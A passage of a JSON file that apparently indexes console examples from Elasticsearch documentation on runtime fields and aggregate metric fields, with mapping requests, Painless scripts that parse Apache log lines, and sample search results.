\"400\",\"end\":\"8625309\"}}\n{\"index\":{}}\n{\"@timestamp\":1516297294000,\"model_number\":\"HG537PU\",\"measures\":{\"voltage\":\"4.0\",\"start\": \"400\",\"end\":\"8625309\"}}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":339},"digest":"154d703732daf5c5fcd0122e6a50213f","lang":"console","found":["ruby"],"source":"PUT my-index-000001/_mapping\n{\n \"runtime\": {\n \"measures.start\": {\n \"type\": \"long\"\n },\n \"measures.end\": {\n \"type\": \"long\"\n }\n }\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":366},"digest":"cb71c6ecfb8b19725c374572444e5d32","lang":"console","found":["ruby"],"source":"GET my-index-000001/_search\n{\n \"aggs\": {\n \"avg_start\": {\n \"avg\": {\n \"field\": \"measures.start\"\n }\n },\n \"avg_end\": {\n \"avg\": {\n \"field\": \"measures.end\"\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":390},"digest":"7492dc82bd076dd2be490494fb489744","lang":"console-result","found":[],"source":"{\n \"aggregations\" : {\n \"avg_start\" : {\n \"value\" : 333.3333333333333\n },\n \"avg_end\" : {\n \"value\" : 8658642.333333334\n }\n }\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":414},"digest":"274feaaa727e0ddf61b3c0f093182839","lang":"console","found":["ruby"],"source":"GET my-index-000001/_search\n{\n \"runtime_mappings\": {\n \"duration\": {\n \"type\": \"long\",\n \"script\": {\n \"source\": \"\"\"\n emit(doc['measures.end'].value - doc['measures.start'].value);\n \"\"\"\n }\n }\n },\n \"aggs\": {\n \"duration_stats\": {\n \"stats\": {\n \"field\": \"duration\"\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":445},"digest":"5812f4744e5b43459ffdb34be529697f","lang":"console-result","found":[],"source":"{\n \"aggregations\" : {\n \"duration_stats\" : {\n \"count\" : 6,\n \"min\" : 8624909.0,\n \"max\" : 8675009.0,\n \"avg\" : 8658309.0,\n \"sum\" : 5.1949854E7\n }\n }\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":471},"digest":"0fb472645116d58ddef89ca976d15a01","lang":"console","found":["ruby"],"source":"POST my-index-000001/_bulk?refresh=true\n{\"index\":{}}\n{\"@timestamp\":1516729294000,\"model_number\":\"QVKC92Q\",\"measures\":{\"voltage\":5.2}}\n{\"index\":{}}\n{\"@timestamp\":1516642894000,\"model_number\":\"QVKC92Q\",\"measures\":{\"voltage\":5.8}}\n{\"index\":{}}\n{\"@timestamp\":1516556494000,\"model_number\":\"QVKC92Q\",\"measures\":{\"voltage\":5.1}}\n{\"index\":{}}\n{\"@timestamp\":1516470094000,\"model_number\":\"QVKC92Q\",\"measures\":{\"voltage\":5.6}}\n{\"index\":{}}\n{\"@timestamp\":1516383694000,\"model_number\":\"HG537PU\",\"measures\":{\"voltage\":4.2}}\n{\"index\":{}}\n{\"@timestamp\":1516297294000,\"model_number\":\"HG537PU\",\"measures\":{\"voltage\":4.0}}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":496},"digest":"36fae9dfc0b815546b45745bac054b67","lang":"console","found":["ruby"],"source":"GET my-index-000001/_search\n{\n \"query\": {\n \"match\": {\n \"model_number\": \"HG537PU\"\n }\n }\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":512},"digest":"2cef0810a1b0e7c8adf9e73833426f43","lang":"console-result","found":[],"source":"{\n ...\n \"hits\" : {\n \"total\" : {\n \"value\" : 2,\n \"relation\" : \"eq\"\n },\n \"max_score\" : 1.0296195,\n \"hits\" : [\n {\n \"_index\" : \"my-index-000001\",\n \"_id\" : \"F1BeSXYBg_szTodcYCmk\",\n \"_score\" : 1.0296195,\n \"_source\" : {\n \"@timestamp\" : 1516383694000,\n \"model_number\" : \"HG537PU\",\n \"measures\" : {\n \"voltage\" : 4.2\n }\n }\n },\n {\n \"_index\" : \"my-index-000001\",\n \"_id\" : \"l02aSXYBkpNf6QRDO62Q\",\n \"_score\" : 1.0296195,\n \"_source\" : {\n \"@timestamp\" : 1516297294000,\n \"model_number\" : \"HG537PU\",\n \"measures\" : {\n \"voltage\" : 4.0\n }\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":563},"digest":"850bfd0a00d32475a54ac7f87fb4cc4d","lang":"console","found":["ruby"],"source":"POST my-index-000001/_search\n{\n \"runtime_mappings\": {\n \"measures.voltage\": {\n \"type\": \"double\",\n \"script\": {\n \"source\":\n \"\"\"if (doc['model_number.keyword'].value.equals('HG537PU'))\n {emit(1.7 * params._source['measures']['voltage']);}\n else{emit(params._source['measures']['voltage']);}\"\"\"\n }\n }\n },\n \"query\": {\n \"match\": {\n \"model_number\": \"HG537PU\"\n }\n },\n \"fields\": [\"measures.voltage\"]\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":593},"digest":"8687c765a2e949a2535a234cce837013","lang":"console-result","found":[],"source":"{\n ...\n \"hits\" : {\n \"total\" : {\n \"value\" : 2,\n \"relation\" : \"eq\"\n },\n \"max_score\" : 1.0296195,\n \"hits\" : [\n {\n \"_index\" : \"my-index-000001\",\n \"_id\" : \"F1BeSXYBg_szTodcYCmk\",\n \"_score\" : 1.0296195,\n \"_source\" : {\n \"@timestamp\" : 1516383694000,\n \"model_number\" : \"HG537PU\",\n \"measures\" : {\n \"voltage\" : 4.2\n }\n },\n \"fields\" : {\n \"measures.voltage\" : [\n 7.14\n ]\n }\n },\n {\n \"_index\" : \"my-index-000001\",\n \"_id\" : \"l02aSXYBkpNf6QRDO62Q\",\n \"_score\" : 1.0296195,\n \"_source\" : {\n \"@timestamp\" : 1516297294000,\n \"model_number\" : \"HG537PU\",\n \"measures\" : {\n \"voltage\" : 4.0\n }\n },\n \"fields\" : {\n \"measures.voltage\" : [\n 6.8\n ]\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":661},"digest":"4f792d86ff79dcfe4643cd95505f8d5f","lang":"console","found":["ruby"],"source":"PUT my-index-000001/\n{\n \"mappings\": {\n \"dynamic\": \"runtime\",\n \"runtime\": {\n \"day_of_week\": {\n \"type\": \"keyword\",\n \"script\": {\n \"source\": \"emit(doc['@timestamp'].value.dayOfWeekEnum.getDisplayName(TextStyle.FULL, Locale.ROOT))\"\n }\n }\n },\n \"properties\": {\n \"@timestamp\": {\"type\": \"date\"}\n }\n }\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":687},"digest":"8e68cdfad45e7e6dff254d931eea29d4","lang":"console","found":["ruby"],"source":"POST /my-index-000001/_bulk?refresh\n{ \"index\": {}}\n{ \"@timestamp\": \"2020-06-21T15:00:01-05:00\", \"message\" : \"211.11.9.0 - - [2020-06-21T15:00:01-05:00] \\\"GET /english/index.html HTTP/1.0\\\" 304 0\"}\n{ \"index\": {}}\n{ \"@timestamp\": \"2020-06-21T15:00:01-05:00\", \"message\" : \"211.11.9.0 - - [2020-06-21T15:00:01-05:00] \\\"GET /english/index.html HTTP/1.0\\\" 304 0\"}\n{ \"index\": {}}\n{ \"@timestamp\": \"2020-04-30T14:30:17-05:00\", \"message\" : \"40.135.0.0 - - [2020-04-30T14:30:17-05:00] \\\"GET /images/hm_bg.jpg HTTP/1.0\\\" 200 24736\"}\n{ \"index\": {}}\n{ \"@timestamp\": \"2020-04-30T14:30:53-05:00\", \"message\" : \"232.0.0.0 - - [2020-04-30T14:30:53-05:00] \\\"GET /images/hm_bg.jpg HTTP/1.0\\\" 200 24736\"}\n{ \"index\": {}}\n{ \"@timestamp\": \"2020-04-30T14:31:12-05:00\", \"message\" : \"26.1.0.0 - - [2020-04-30T14:31:12-05:00] \\\"GET /images/hm_bg.jpg HTTP/1.0\\\" 200 24736\"}\n{ \"index\": {}}\n{ \"@timestamp\": \"2020-04-30T14:31:19-05:00\", \"message\" : \"247.37.0.0 - - [2020-04-30T14:31:19-05:00] \\\"GET /french/splash_inet.html HTTP/1.0\\\" 200 3781\"}\n{ \"index\": {}}\n{ \"@timestamp\": \"2020-04-30T14:31:27-05:00\", \"message\" : \"252.0.0.0 - - [2020-04-30T14:31:27-05:00] \\\"GET /images/hm_bg.jpg HTTP/1.0\\\" 200 24736\"}\n{ \"index\": {}}\n{ \"@timestamp\": \"2020-04-30T14:31:29-05:00\", \"message\" : \"247.37.0.0 - - [2020-04-30T14:31:29-05:00] \\\"GET /images/hm_brdl.gif HTTP/1.0\\\" 304 0\"}\n{ \"index\": {}}\n{ \"@timestamp\": \"2020-04-30T14:31:29-05:00\", \"message\" : \"247.37.0.0 - - [2020-04-30T14:31:29-05:00] \\\"GET /images/hm_arw.gif HTTP/1.0\\\" 304 0\"}\n{ \"index\": {}}\n{ \"@timestamp\": \"2020-04-30T14:31:32-05:00\", \"message\" : \"247.37.0.0 - - [2020-04-30T14:31:32-05:00] \\\"GET /images/nav_bg_top.gif HTTP/1.0\\\" 200 929\"}\n{ \"index\": {}}\n{ \"@timestamp\": \"2020-04-30T14:31:43-05:00\", \"message\" : \"247.37.0.0 - - [2020-04-30T14:31:43-05:00] \\\"GET /french/images/nav_venue_off.gif HTTP/1.0\\\" 304 0\"}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":723},"digest":"20bc71cc5bbe04184e27827f3777a406","lang":"console","found":["ruby"],"source":"GET my-index-000001/_search\n{\n \"fields\": [\n \"@timestamp\",\n \"day_of_week\"\n ],\n \"_source\": false\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":740},"digest":"eb33a7e5a0fe83fdaa0f79354f659428","lang":"console","found":["ruby"],"source":"PUT /my-index-000001/_mapping\n{\n \"runtime\": {\n \"client_ip\": {\n \"type\": \"ip\",\n \"script\" : {\n \"source\" : \"String m = doc[\\\"message\\\"].value; int end = m.indexOf(\\\" \\\"); emit(m.substring(0, end));\"\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":759},"digest":"7f92ddd4e940a37d6227c43fd279c8f5","lang":"console","found":[],"source":"GET my-index-000001/_search\n{\n \"size\": 1,\n \"query\": {\n \"match\": {\n \"client_ip\": \"211.11.9.0\"\n }\n },\n \"fields\" : [\"*\"]\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":779},"digest":"f9fe32d6b661806d3f4571674bd5400a","lang":"console-result","found":[],"source":"{\n ...\n \"hits\" : {\n \"total\" : {\n \"value\" : 2,\n \"relation\" : \"eq\"\n },\n \"max_score\" : 1.0,\n \"hits\" : [\n {\n \"_index\" : \"my-index-000001\",\n \"_id\" : \"oWs5KXYB-XyJbifr9mrz\",\n \"_score\" : 1.0,\n \"_source\" : {\n \"@timestamp\" : \"2020-06-21T15:00:01-05:00\",\n \"message\" : \"211.11.9.0 - - [2020-06-21T15:00:01-05:00] \\\"GET /english/index.html HTTP/1.0\\\" 304 0\"\n },\n \"fields\" : {\n \"@timestamp\" : [\n \"2020-06-21T20:00:01.000Z\"\n ],\n \"client_ip\" : [\n \"211.11.9.0\"\n ],\n \"message\" : [\n \"211.11.9.0 - - [2020-06-21T15:00:01-05:00] \\\"GET /english/index.html HTTP/1.0\\\" 304 0\"\n ],\n \"day_of_week\" : [\n \"Sunday\"\n ]\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":834},"digest":"7a0eb2222fe282d3aab66e12feff2a3b","lang":"console","found":["ruby"],"source":"POST ip_location/_doc?refresh\n{\n \"ip\": \"192.168.1.1\",\n \"country\": \"Canada\",\n \"city\": \"Montreal\"\n}\n\nPUT logs/_doc/1?refresh\n{\n \"host\": \"192.168.1.1\",\n \"message\": \"the first message\"\n}\n\nPUT logs/_doc/2?refresh\n{\n \"host\": \"192.168.1.2\",\n \"message\": \"the second message\"\n}\n\nPOST logs/_search\n{\n \"runtime_mappings\": {\n \"location\": {\n \"type\": \"lookup\", <1>\n \"target_index\": \"ip_location\", <2>\n \"input_field\": \"host\", <3>\n \"target_field\": \"ip\", <4>\n \"fetch_fields\": [\"country\", \"city\"] <5>\n }\n },\n \"fields\": [\n \"host\",\n \"message\",\n \"location\"\n ],\n \"_source\": false\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":883},"digest":"8da431faaf7485f183fda26bd50783da","lang":"console-result","found":[],"source":"{\n \"took\": 3,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 1,\n \"successful\": 1,\n \"skipped\": 0,\n \"failed\": 0\n },\n \"hits\": {\n \"total\": {\n \"value\": 2,\n \"relation\": \"eq\"\n },\n \"max_score\": 1.0,\n \"hits\": [\n {\n \"_index\": \"logs\",\n \"_id\": \"1\",\n \"_score\": 1.0,\n \"fields\": {\n \"host\": [ \"192.168.1.1\" ],\n \"location\": [\n {\n \"city\": [ \"Montreal\" ],\n \"country\": [ \"Canada\" ]\n }\n ],\n \"message\": [ \"the first message\" ]\n }\n },\n {\n \"_index\": \"logs\",\n \"_id\": \"2\",\n \"_score\": 1.0,\n \"fields\": {\n \"host\": [ \"192.168.1.2\" ],\n \"message\": [ \"the second message\" ]\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":967},"digest":"ff1b96d2fdcf628bd938bff9e939943c","lang":"console","found":["ruby"],"source":"PUT my-index-000001/\n{\n \"mappings\": {\n \"properties\": {\n \"timestamp\": {\n \"type\": \"date\"\n },\n \"temperature\": {\n \"type\": \"long\"\n },\n \"voltage\": {\n \"type\": \"double\"\n },\n \"node\": {\n \"type\": \"keyword\"\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":993},"digest":"6db118771354792646229e7a3c30c7e9","lang":"console","found":["ruby"],"source":"POST my-index-000001/_bulk?refresh=true\n{\"index\":{}}\n{\"timestamp\": 1516729294000, \"temperature\": 200, \"voltage\": 5.2, \"node\": \"a\"}\n{\"index\":{}}\n{\"timestamp\": 1516642894000, \"temperature\": 201, \"voltage\": 5.8, \"node\": \"b\"}\n{\"index\":{}}\n{\"timestamp\": 1516556494000, \"temperature\": 202, \"voltage\": 5.1, \"node\": \"a\"}\n{\"index\":{}}\n{\"timestamp\": 1516470094000, \"temperature\": 198, \"voltage\": 5.6, \"node\": \"b\"}\n{\"index\":{}}\n{\"timestamp\": 1516383694000, \"temperature\": 200, \"voltage\": 4.2, \"node\": \"c\"}\n{\"index\":{}}\n{\"timestamp\": 1516297294000, \"temperature\": 202, \"voltage\": 4.0, \"node\": \"c\"}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":1016},"digest":"84243213614fe64930b1d430704afb29","lang":"console","found":["ruby"],"source":"PUT my-index-000001/_mapping\n{\n \"runtime\": {\n \"voltage_corrected\": {\n \"type\": \"double\",\n \"script\": {\n \"source\": \"\"\"\n emit(doc['voltage'].value * params['multiplier'])\n \"\"\",\n \"params\": {\n \"multiplier\": 2\n }\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":1040},"digest":"8c92c5e87facbae8dc4f58376ec21815","lang":"console","found":["ruby"],"source":"GET my-index-000001/_search\n{\n \"fields\": [\n \"voltage_corrected\",\n \"node\"\n ],\n \"size\": 2\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":1124},"digest":"d98fb2ff2cdd154dff4a576430755d98","lang":"console","found":["ruby"],"source":"PUT my-index-000001/\n{\n \"mappings\": {\n \"properties\": {\n \"timestamp\": {\n \"type\": \"date\"\n },\n \"temperature\": {\n \"type\": \"long\"\n },\n \"voltage\": {\n \"type\": \"double\"\n },\n \"node\": {\n \"type\": \"keyword\"\n },\n \"voltage_corrected\": {\n \"type\": \"double\",\n \"on_script_error\": \"fail\", <1>\n \"script\": {\n \"source\": \"\"\"\n emit(doc['voltage'].value * params['multiplier'])\n \"\"\",\n \"params\": {\n \"multiplier\": 4\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":1164},"digest":"dd792bb53703a57f9207e36d16e26255","lang":"console","found":["ruby"],"source":"POST my-index-000001/_bulk?refresh=true\n{ \"index\": {}}\n{ \"timestamp\": 1516729294000, \"temperature\": 200, \"voltage\": 5.2, \"node\": \"a\"}\n{ \"index\": {}}\n{ \"timestamp\": 1516642894000, \"temperature\": 201, \"voltage\": 5.8, \"node\": \"b\"}\n{ \"index\": {}}\n{ \"timestamp\": 1516556494000, \"temperature\": 202, \"voltage\": 5.1, \"node\": \"a\"}\n{ \"index\": {}}\n{ \"timestamp\": 1516470094000, \"temperature\": 198, \"voltage\": 5.6, \"node\": \"b\"}\n{ \"index\": {}}\n{ \"timestamp\": 1516383694000, \"temperature\": 200, \"voltage\": 4.2, \"node\": \"c\"}\n{ \"index\": {}}\n{ \"timestamp\": 1516297294000, \"temperature\": 202, \"voltage\": 4.0, \"node\": \"c\"}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":1188},"digest":"a9280b55a7284952f604ec7bece712f6","lang":"console","found":[],"source":"POST my-index-000001/_search\n{\n \"query\": {\n \"range\": {\n \"voltage_corrected\": {\n \"gte\": 16,\n \"lte\": 20,\n \"boost\": 1.0\n }\n }\n },\n \"fields\": [\"voltage_corrected\", \"node\"]\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":1210},"digest":"c4a94701e661b36cd7a2984d8eef9356","lang":"console-result","found":[],"source":"{\n \"hits\" : {\n \"total\" : {\n \"value\" : 2,\n \"relation\" : \"eq\"\n },\n \"max_score\" : 1.0,\n \"hits\" : [\n {\n \"_index\" : \"my-index-000001\",\n \"_id\" : \"yoSLrHgBdg9xpPrUZz_P\",\n \"_score\" : 1.0,\n \"_source\" : {\n \"timestamp\" : 1516383694000,\n \"temperature\" : 200,\n \"voltage\" : 4.2,\n \"node\" : \"c\"\n },\n \"fields\" : {\n \"voltage_corrected\" : [\n 16.8\n ],\n \"node\" : [\n \"c\"\n ]\n }\n },\n {\n \"_index\" : \"my-index-000001\",\n \"_id\" : \"y4SLrHgBdg9xpPrUZz_P\",\n \"_score\" : 1.0,\n \"_source\" : {\n \"timestamp\" : 1516297294000,\n \"temperature\" : 202,\n \"voltage\" : 4.0,\n \"node\" : \"c\"\n },\n \"fields\" : {\n \"voltage_corrected\" : [\n 16.0\n ],\n \"node\" : [\n \"c\"\n ]\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":1283},"digest":"dcee24dba43050e4b01b6e3a3211ce09","lang":"console","found":["ruby"],"source":"PUT /my-index-000001/\n{\n \"mappings\": {\n \"properties\": {\n \"@timestamp\": {\n \"format\": \"strict_date_optional_time||epoch_second\",\n \"type\": \"date\"\n },\n \"message\": {\n \"type\": \"wildcard\"\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":1311},"digest":"77d0780c5faea4c9ec51a322a6811b3b","lang":"console","found":["ruby"],"source":"POST /my-index-000001/_bulk?refresh\n{\"index\":{}}\n{\"timestamp\":\"2020-04-30T14:30:17-05:00\",\"message\":\"40.135.0.0 - - [30/Apr/2020:14:30:17 -0500] \\\"GET /images/hm_bg.jpg HTTP/1.0\\\" 200 24736\"}\n{\"index\":{}}\n{\"timestamp\":\"2020-04-30T14:30:53-05:00\",\"message\":\"232.0.0.0 - - [30/Apr/2020:14:30:53 -0500] \\\"GET /images/hm_bg.jpg HTTP/1.0\\\" 200 24736\"}\n{\"index\":{}}\n{\"timestamp\":\"2020-04-30T14:31:12-05:00\",\"message\":\"26.1.0.0 - - [30/Apr/2020:14:31:12 -0500] \\\"GET /images/hm_bg.jpg HTTP/1.0\\\" 200 24736\"}\n{\"index\":{}}\n{\"timestamp\":\"2020-04-30T14:31:19-05:00\",\"message\":\"247.37.0.0 - - [30/Apr/2020:14:31:19 -0500] \\\"GET /french/splash_inet.html HTTP/1.0\\\" 200 3781\"}\n{\"index\":{}}\n{\"timestamp\":\"2020-04-30T14:31:22-05:00\",\"message\":\"247.37.0.0 - - [30/Apr/2020:14:31:22 -0500] \\\"GET /images/hm_nbg.jpg HTTP/1.0\\\" 304 0\"}\n{\"index\":{}}\n{\"timestamp\":\"2020-04-30T14:31:27-05:00\",\"message\":\"252.0.0.0 - - [30/Apr/2020:14:31:27 -0500] \\\"GET /images/hm_bg.jpg HTTP/1.0\\\" 200 24736\"}\n{\"index\":{}}\n{\"timestamp\":\"2020-04-30T14:31:28-05:00\",\"message\":\"not a valid apache log\"}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":1333},"digest":"a6bb306ca250cf651f19cae808b97012","lang":"console","found":["python","ruby"],"source":"GET /my-index-000001"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":1341},"digest":"e87781bb31444bed8096492e0f7f71cd","lang":"console-result","found":[],"source":"{\n \"my-index-000001\" : {\n \"aliases\" : { },\n \"mappings\" : {\n \"properties\" : {\n \"@timestamp\" : {\n \"type\" : \"date\",\n \"format\" : \"strict_date_optional_time||epoch_second\"\n },\n \"message\" : {\n \"type\" : \"wildcard\"\n },\n \"timestamp\" : {\n \"type\" : \"date\"\n }\n }\n },\n ...\n }\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":1379},"digest":"0c2ca704a39dda8b3a7c5806ec6c6cf8","lang":"console","found":[],"source":"PUT my-index-000001/_mappings\n{\n \"runtime\": {\n \"http.client_ip\": {\n \"type\": \"ip\",\n \"script\": \"\"\"\n String clientip=grok('%{COMMONAPACHELOG}').extract(doc[\"message\"].value)?.clientip;\n if (clientip != null) emit(clientip); <1>\n \"\"\"\n }\n }\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":1406},"digest":"2c44657adf550b8ade5cf5334106d38b","lang":"console","found":[],"source":"GET my-index-000001/_search\n{\n \"runtime_mappings\": {\n \"http.clientip\": {\n \"type\": \"ip\",\n \"script\": \"\"\"\n String clientip=grok('%{COMMONAPACHELOG}').extract(doc[\"message\"].value)?.clientip;\n if (clientip != null) emit(clientip);\n \"\"\"\n }\n },\n \"query\": {\n \"match\": {\n \"http.clientip\": \"40.135.0.0\"\n }\n },\n \"fields\" : [\"http.clientip\"]\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":1437},"digest":"be9836fe55c5fada404a2adc1663d832","lang":"console","found":["ruby"],"source":"PUT my-index-000001/_mappings\n{\n \"runtime\": {\n \"http\": {\n \"type\": \"composite\",\n \"script\": \"emit(grok(\\\"%{COMMONAPACHELOG}\\\").extract(doc[\\\"message\\\"].value))\",\n \"fields\": {\n \"clientip\": {\n \"type\": \"ip\"\n },\n \"verb\": {\n \"type\": \"keyword\"\n },\n \"response\": {\n \"type\": \"long\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":1467},"digest":"636ee2066450605247ec1f68d04b8ee4","lang":"console","found":[],"source":"GET my-index-000001/_search\n{\n \"query\": {\n \"match\": {\n \"http.clientip\": \"40.135.0.0\"\n }\n },\n \"fields\" : [\"*\"]\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":1487},"digest":"2a1cbd321855f88f9e1993ac62001821","lang":"console-result","found":[],"source":"{\n ...\n \"hits\" : {\n \"total\" : {\n \"value\" : 1,\n \"relation\" : \"eq\"\n },\n \"max_score\" : 1.0,\n \"hits\" : [\n {\n \"_index\" : \"my-index-000001\",\n \"_id\" : \"sRVHBnwBB-qjgFni7h_O\",\n \"_score\" : 1.0,\n \"_source\" : {\n \"timestamp\" : \"2020-04-30T14:30:17-05:00\",\n \"message\" : \"40.135.0.0 - - [30/Apr/2020:14:30:17 -0500] \\\"GET /images/hm_bg.jpg HTTP/1.0\\\" 200 24736\"\n },\n \"fields\" : {\n \"http.verb\" : [\n \"GET\"\n ],\n \"http.clientip\" : [\n \"40.135.0.0\"\n ],\n \"http.response\" : [\n 200\n ],\n \"message\" : [\n \"40.135.0.0 - - [30/Apr/2020:14:30:17 -0500] \\\"GET /images/hm_bg.jpg HTTP/1.0\\\" 200 24736\"\n ],\n \"http.client_ip\" : [\n \"40.135.0.0\"\n ],\n \"timestamp\" : [\n \"2020-04-30T19:30:17.000Z\"\n ]\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":1551},"digest":"92fa6608673cec5a2ed568a07e80d36b","lang":"console","found":[],"source":"GET my-index-000001/_search\n{\n \"query\": {\n \"range\": {\n \"timestamp\": {\n \"gte\": \"2020-04-30T14:31:27-05:00\"\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":1569},"digest":"039ea67fc8ab51de13b77b0d73b45e68","lang":"console-result","found":[],"source":"{\n ...\n \"hits\" : {\n \"total\" : {\n \"value\" : 2,\n \"relation\" : \"eq\"\n },\n \"max_score\" : 1.0,\n \"hits\" : [\n {\n \"_index\" : \"my-index-000001\",\n \"_id\" : \"hdEhyncBRSB6iD-PoBqe\",\n \"_score\" : 1.0,\n \"_source\" : {\n \"timestamp\" : \"2020-04-30T14:31:27-05:00\",\n \"message\" : \"252.0.0.0 - - [30/Apr/2020:14:31:27 -0500] \\\"GET /images/hm_bg.jpg HTTP/1.0\\\" 200 24736\"\n }\n },\n {\n \"_index\" : \"my-index-000001\",\n \"_id\" : \"htEhyncBRSB6iD-PoBqe\",\n \"_score\" : 1.0,\n \"_source\" : {\n \"timestamp\" : \"2020-04-30T14:31:28-05:00\",\n \"message\" : \"not a valid apache log\"\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":1618},"digest":"413fdcc7c437775a16bb55b81c2bbe2b","lang":"console","found":[],"source":"PUT my-index-000001/_mappings\n{\n \"runtime\": {\n \"http.client.ip\": {\n \"type\": \"ip\",\n \"script\": \"\"\"\n String clientip=dissect('%{clientip} %{ident} %{auth} [%{@timestamp}] \"%{verb} %{request} HTTP/%{httpversion}\" %{status} %{size}').extract(doc[\"message\"].value)?.clientip;\n if (clientip != null) emit(clientip);\n \"\"\"\n }\n }\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":1637},"digest":"d3a5b70d493e0bd77b3f2b586341c83c","lang":"console","found":[],"source":"PUT my-index-000001/_mappings\n{\n \"runtime\": {\n \"http.responses\": {\n \"type\": \"long\",\n \"script\": \"\"\"\n String response=dissect('%{clientip} %{ident} %{auth} [%{@timestamp}] \"%{verb} %{request} HTTP/%{httpversion}\" %{response} %{size}').extract(doc[\"message\"].value)?.response;\n if (response != null) emit(Integer.parseInt(response));\n \"\"\"\n }\n }\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":1658},"digest":"445f8a6ef75fb43da52990b3a9063c78","lang":"console","found":["ruby"],"source":"GET my-index-000001/_search\n{\n \"query\": {\n \"match\": {\n \"http.responses\": \"304\"\n }\n },\n \"fields\" : [\"http.client_ip\",\"timestamp\",\"http.verb\"]\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":1674},"digest":"e61490b6751c2e52a1087c06b037afed","lang":"console-result","found":[],"source":"{\n ...\n \"hits\" : {\n \"total\" : {\n \"value\" : 1,\n \"relation\" : \"eq\"\n },\n \"max_score\" : 1.0,\n \"hits\" : [\n {\n \"_index\" : \"my-index-000001\",\n \"_id\" : \"A2qDy3cBWRMvVAuI7F8M\",\n \"_score\" : 1.0,\n \"_source\" : {\n \"timestamp\" : \"2020-04-30T14:31:22-05:00\",\n \"message\" : \"247.37.0.0 - - [30/Apr/2020:14:31:22 -0500] \\\"GET /images/hm_nbg.jpg HTTP/1.0\\\" 304 0\"\n },\n \"fields\" : {\n \"http.verb\" : [\n \"GET\"\n ],\n \"http.client_ip\" : [\n \"247.37.0.0\"\n ],\n \"timestamp\" : [\n \"2020-04-30T19:31:22.000Z\"\n ]\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"mapping/types/aggregate-metric-double.asciidoc","line":26},"digest":"2740b69e7246ac6d1ad249382f21d534","lang":"console","found":["ruby"],"source":"PUT my-index\n{\n \"mappings\": {\n \"properties\": {\n \"my-agg-metric-field\": {\n \"type\": \"aggregate_metric_double\",\n \"metrics\": [ \"min\", \"max\", \"sum\", \"value_count\" ],\n \"default_metric\": \"max\"\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/aggregate-metric-double.asciidoc","line":114},"digest":"4f1e1205154d280db21fbd2754ed5398","lang":"console","found":["ruby"],"source":"PUT stats-index\n{\n \"mappings\": {\n \"properties\": {\n \"agg_metric\": {\n \"type\": \"aggregate_metric_double\",\n \"metrics\": [ \"min\", \"max\", \"sum\", \"value_count\" ],\n \"default_metric\": \"max\"\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/aggregate-metric-double.asciidoc","line":133},"digest":"6a9655fe22fa5db7a540c145bcf1fb31","lang":"console","found":["ruby"],"source":"PUT stats-index/_doc/1\n{\n \"agg_metric\": {\n \"min\": -302.50,\n \"max\": 702.30,\n \"sum\": 200.0,\n \"value_count\": 25\n }\n}\n\nPUT stats-index/_doc/2\n{\n \"agg_metric\": {\n \"min\": -93.00,\n \"max\": 1702.30,\n \"sum\": 300.00,\n \"value_count\": 25\n }\n}"}, {"source_location":{"file":"mapping/types/aggregate-metric-double.asciidoc","line":161},"digest":"8c693e057f6e85fbf2b56ca442719362","lang":"console","found":["ruby"],"source":"POST stats-index/_search?size=0\n{\n \"aggs\": {\n \"metric_min\": { \"min\": { \"field\": \"agg_metric\" } },\n \"metric_max\": { \"max\": { \"field\": \"agg_metric\" } },\n \"metric_value_count\": { \"value_count\": { \"field\": \"agg_metric\" } },\n \"metric_sum\": { \"sum\": { \"field\": \"agg_metric\" } },\n \"metric_avg\": { \"avg\": { \"field\": \"agg_metric\" } }\n }\n}"}, {"source_location":{"file":"mapping/types/aggregate-metric-double.asciidoc","line":178},"digest":"5c3dd870275d9f6e797bace8f961f27b","lang":"console-result","found":[],"source":"{\n...\n 